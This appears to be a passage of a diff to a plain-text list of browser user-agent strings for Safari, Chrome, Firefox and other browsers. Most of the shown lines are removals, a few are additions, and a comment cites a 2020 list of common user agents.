Windows NT 5.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ko-KR) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nb-NO) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-PT) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 5.1; sv-SE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; th) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 5.1; tr-TR) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/528+ (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 -Mozilla/5.0 (Windows; U; Windows NT 5.2; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; pt) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; pt-BR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 5.2; ru-RU) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1 Safari/525.13.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; da-DK) AppleWebKit/523.12.9 (KHTML, like Gecko) Version/3.0 Safari/523.12.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/522.15.5 (KHTML, like Gecko) Version/3.0.3 Safari/522.15.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/525+ (KHTML, like Gecko) Version/3.0.4 Safari/523.11 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/523.15 (KHTML, like Gecko) Version/3.0 Safari/523.15 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.17 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fi) AppleWebKit/522.12.1 (KHTML, like Gecko) Version/3.0.1 Safari/522.12.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-ch) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528+ (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/525.26.2 (KHTML, like Gecko) Version/3.2 Safari/525.26.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.11.3 (KHTML, like Gecko) Version/3.0 Safari/522.11.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; nl) AppleWebKit/522.13.1 (KHTML, like Gecko) Version/3.0.2 Safari/522.13.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/525.19 (KHTML, like Gecko) Version/3.1.2 Safari/525.21 -Mozilla/5.0 (Windows; U; Windows NT 6.0; pl-PL) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; ru-RU) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/523.13 (KHTML, like Gecko) Version/3.0 Safari/523.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; sv-SE) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; zh-TW) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/525.28 (KHTML, like Gecko) Version/3.2.2 Safari/525.28.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; fr-FR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4 -Mozilla/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko) -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ -Mozilla/5.0 (X11; U; Linux x86_64; en-us) AppleWebKit/531.2+ (KHTML, like Gecko) Version/5.0 Safari/531.2+ - -# https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ (Note: Updated December 28th 2020) - -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 -Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 -Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15 -Mozilla/5.0 (X11; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:83.0) Gecko/20100101 Firefox/83.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.60 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.66 -Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.101 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:83.0) Gecko/20100101 Firefox/83.0 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400 -Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:84.0) Gecko/20100101 Firefox/84.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.47 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.55 -Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Safari/605.1.15 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0 -Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 OPR/72.0.3815.400 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:84.0) Gecko/20100101 Firefox/84.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Safari/605.1.15 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko -Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 -Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.92 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:83.0) Gecko/20100101 Firefox/83.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1 Safari/605.1.15 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36 OPR/72.0.3815.320 -Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:82.0) Gecko/20100101 Firefox/82.0 -Mozilla/5.0 (X11; Linux x86_64; rv:82.0) Gecko/20100101 Firefox/82.0 -Mozilla/5.0 (Linux; U; Android 4.3; en-us; SM-N900T Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 -Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 -Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 -Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0 -Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 -Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:77.0) Gecko/20100101 Firefox/77.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 -Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 -Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:109.0) Gecko/20100101 Firefox/115.0 +Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Safari/605.1.15 